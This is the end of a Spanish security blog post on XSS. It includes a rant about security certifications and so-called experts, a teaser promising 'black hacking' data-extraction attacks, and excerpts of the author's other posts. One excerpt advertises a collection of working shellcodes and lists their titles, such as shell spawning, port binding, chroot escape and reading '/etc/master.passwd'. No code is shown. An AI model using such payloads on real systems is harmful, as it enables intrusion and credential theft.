En este artículo pudimos hacer una revisión de los ataques más frecuentes de Cross-Site-Scripting hacia los usuarios y a los aplicativos, donde pudimos encontrar agresiones que van desde las más sencillas hasta las más violentas, dejando en evidencia que este es un tipo de ataque realmente peligroso y que no podemos subestimar.
Pero también debemos saber que en este documento no se encuentran contemplados todos los tipos de agresiones con XSS, así que recomiendo mantenerse en una periódica actualización de este tipo de ataque y también hacer una revisión del ataque de tipo XST (Cross-Site-Tracing), que deriva del XSS. 

También una buena medida para la creación de una defensa eficaz es el desarrollo de un registro de eventos, en donde podremos almacenar los errores o mal funciones de nuestro aplicativo en un determinado momento, sirviéndonos estos documentos como bases para la detección de debilidades y fallos, y poder corregirlos de una manera mas eficiente reforzando cada vez mas nuestras aplicaciones.
Como punto final, la clave de un buen desarrollo seguro es una constante actualización en los temas de seguridad, además de revisiones periódicas de nuevos tipos de ataques, la creación de políticas de seguridad dentro de nuestra organización, elaboración de manuales y procedimientos de seguridad, entrenamiento y asesoramiento constante, además de darnos cuenta que el Internet es un ambiente totalmente hostil, que aunque no lo veamos, nuestras aplicativos en alguno o en muchos momentos será puesto a prueba con ataques reales de todo tipo.
Lo que tenemos claro es que en España no han mejorado las cosas .. solo en 2010 con la aprobación del Esquema Nacional de Seguridad sola algunas administraciones han mejorado ... están todavía en proceso de ello .. "MR BEAN" es la prueba y por eso se dío ese énfasis e impotancia a la seguridad en España .. si, si , por este XSS de libro, se empezarón a hacer "cacota" nuestros políticos por los "pantacas" .. pero como todo en España, parace que se olvida .. cuando ocurre algo, los periódicos cantan, las nuebes se levantan y ... al otro día se terminó ... de tal manera que todos los que se hacen llmar "expertos en seguridad"m que de esos existen muchos, os lo aseguro, solo saben del XSS la mitad de un párrafo del principio de este Post ...

De hecho, un ex-compañero mío, teórico experto en seguridad de la información no sabía catalogarme los XSS .. de hecho, solo sabía que existían, y por verguenza de oirme hablar de ello con otros compañeros tardó dos segundos ( tras verle de reojo en Google) como consultaba que era un XSS ... y esto está ocurriendo a día de hoy ... estos son los expertos en seguridad que existen ... Si compis si, da miedo ... si más de uno supiese en las manos de los que estamos puestos ( bueno, por ejemplo el lerdo este es que toda la empresa sabía el motivo por el que había estado ahí, yb está .. de hecho se atrevió a copiar una frase del gran  Sergio de los Santo y plantarla en una entrevista para la revista de ese trabajo en concreto ... claro, todos al verlo , nos reímos muy muy mucho del intento de plagio ... pero eso no es lo peor, lo malo malo es que más de uno le estaba alabando ... es decir, más expertos en seguridad que no "eran ni son tales expertos" en seguridad ...… ", peor luegon tienen el CISSP que es solon teoría y que sirve para eso, para saber "que es, como, cuando" ... pero no le pidas a un CISSP que te diga o te haga un Penetration Testing Report porque te dice que que "coño es eso" ... VERIFICADO !!!... y no conocen más allá que GFI Y Accunetix , es decir las comerciales .

Con esto quiero dejar claro que en seguridad todo se compra y se vende .. hasta lo títulos .. NI EL CEH EN 7 DÍAS VALE PARA NADA .. es un Fake .. y el CISSP es un título ÚNICA Y EXCLUSIVAMENTE PARA GESTIÓN !!! ... no es técnico .. son fundamentos , pero un CISSP no tiene ni IDEA lo que son las FLAW HIPOTESIS Y REALIZAR UN REPORT DE BLACK BOX SIGUIENDO LAS FLAW ... por ejemplo ... asi que, otro concepto aclarado !!!!

Pero es que de alguna manera tendremos que deicr algunos que somos hacker o que sabemos de ello, pero yo tengo claro una cosa .. yo, por mi mismo no me pago el CISSP porque no me vale para nada .. si una empresa quiere que me lo saque por cuestiones corporativas pues, eso es otra cosa .. si la empresa manda, ella paga, yo me saco el CISSP para decir que soy CISSP .... :P 

( bueno gracias a la AUTÓNOMA Y A LA AGENCIA DE CIBERSEGURIDAD, JUNTO CON I64, CHEMA, SECURITY BY DEFAULT, SERGIO, MI GENTE, SU GENTE,  LA ROOTED, LA PANDA BLOGGER SUMMIT, ETHICAL HACKING Y OLÉ Y SU GENTE, CRIPTORED, INTYPEDIA, VIRUS TOTAL Y UNOS CUANTOS MÁS NOS LO VAMOS "BURLANDO" PARA PODER COMER ..

O si no, no nos quedará más camino que uno, Black Hacking .... Just live !!!!

Pero eso ya no depende de nosotros, si no de lo que ya está en marcha , el ICFS con el Apoyo del CNI y del MIISTERIO DEL INTERIOR ( En julio es el primer examen ... allá´voy ..)

Continuará ( con ataques agresivos .. os doy tiempo a repasaros esto de memoria y como el padre nuestros, please .. que es la única manera, hacerme caso y no seaís lusers ... )

AH!! y no solo del XSS puede hacerse un "MR BEAN" .. veremos como el descubrir un XSS puede hacer que nos llevemos una BASE DE DATOS ENTERITA Y POR TANTO LA INTRUSIÓN COMPLETA Y ENTERA ..

ESTAR ATENTOS HACKERS !!!! ( repasaros javascript y html .. y un poquito de inventiva!!)

VA POR TI "YAYA", NUNCA TE OLVIDARÉ
De tu nieto

                                      MAQUIAVELO ( "Carlitos")


Y ESTO PARA QUE VAYAÍS HACIENDO "BOCA"


BLACK HACKING
EXTRACCIÓN DE INFORMACIÓN DEL OBJETIVO


DA MIEDO EH? Díselo a Google o a ti mismo antes de "hacer nada"m que es lo que haceís haciendo esto


MAÑANA LES LANZO UNA INVITACIÓN AL FACE Y TAL ...

NO TENGAÍS MIEDO ... O SI? .. YO LO TENDRÍA PORQUE SI YO LO HAGO.. PERO LO EXPONGO PARA QUE VOSOTROS ESTEÍS AL LORO ... TENER EN CUENTA QUE A MI ME PARÍO MI MADRE CON UNOS VALORES ... YO NO SE QUIEN PARÍO A OTROS HACKERS ..ENTENDIDO? ESTO NO VA DE "ETHICAL" NI "WEBS", ESTO "VA" DE VALORES Y EDUCACIÓN DESDE LA CUNA .. Y NO HAY MÁS !!! .. Y EN MI CASO ESTO ES LO QUE "HAY....."

:P



Referencias




Entradas populares de este blog

SHELLCODES por un tubo ....

De Juan Carlos García -
SHELLCODES DATABASE Bueno, os dejo esta "pequeña colección de ShellCodes funcionales para que no tengais que dar muchas vueltas Tenéis de todo y para todos los gustos .. asi que por Shells que no sea ..  AIX Aix - execve /bin/sh - 88 bytes   by Georgi Guninski Alpha Alpha - /bin/sh - 80 bytes   by Lamont Granquist Alpha - execve() - 112 bytes   by n/a Alpha - setuid() - 156 bytes   by n/a BSD BSD/32bits - Passive Connection - 126 bytes   by Scrippie BSD/ppc - execve(/bin/sh) - 128 bytes   by Palante BSD/x86 - setreuid(geteuid(), geteuid()) and execve(/bin/sh, /bin/sh, 0)   by Jihyeog Lim BSD/x86 - setuid/execve - 30 bytes   by Marco Ivaldi BSD/x86 - setuid/portbind - 94 bytes   by Marco Ivaldi BSD/x86 - break chroot - 45 bytes   by Matias Sedalo BSD/x86 - cat /etc/master.passwd & mail root@localhost - 92 bytes   by Matias Sedalo BSD/x86 - execve(/bin/sh) & setuid(0) - 29 bytes   by Matias...
Leer más

Proteger ASP.NET de inyecciones SQL How T0? BEST PRACTICES

De Juan Carlos García -
Cómo: Proteger ASP.NET de inyecciones SQL Publicado: 21 de Diciembre de 2005 Post:eado:19 de  MARZO 2012 Motivo:   Aumento de Hacking en Aplicaciones Web de manera Brutal desde el 2005 y aumentando Este artículo se aplica a y a como securizar para evitar ser hackeado, si, o si !!! ASP.NET versión 1.1 ASP.NET versión 2.0 y para lo que habeís hecho desde el 2005, estudiarlo bien majetes porque seguís sin securizar el puto código de la parte servidor ... !!! Por dios, ya está bien de poner a los usuarios y trabajadores en peligro .. !! Es tan difícil poner un poquito de atención. Resumen: En este artículo se describen una serie de métodos que ayudan a proteger la aplicación ASP.NET de inyecciones SQL. Entre las distintas técnicas se incluyen la restricción de entradas, el uso de parámetros SQL con tipos seguros para el acceso a datos y el uso de una cuenta con menos privilegios que tenga permisos restringidos en la base de datos. La inyección SQL puede produc...
Leer más

CERTIFICACIONES DE SEGURIDAD

De Juan Carlos García -
Imagen
CERTIFICACIONES DE SEGURIDAD For Fun and Profit Nuevo curso, toca mirar todo lo que tenemos y más … Eso si, caro caro caro(..) Seguridad General—Nivel Basico Brainbench Basic Security Certifications : Ofrece varias certificaciones, un examen por certificación ·          Brainbench Firewall Administration Concepts ·          Brainbench Internet Security ·          Information Technology Security Fundamentals ·          ITAA Information Security Awareness ·          Brainbench Microsoft Security ·          Brainbench Network Authentication ·          Brainbench Network Security ·          Security Industry Knowledge (U.S.) ...
Leer más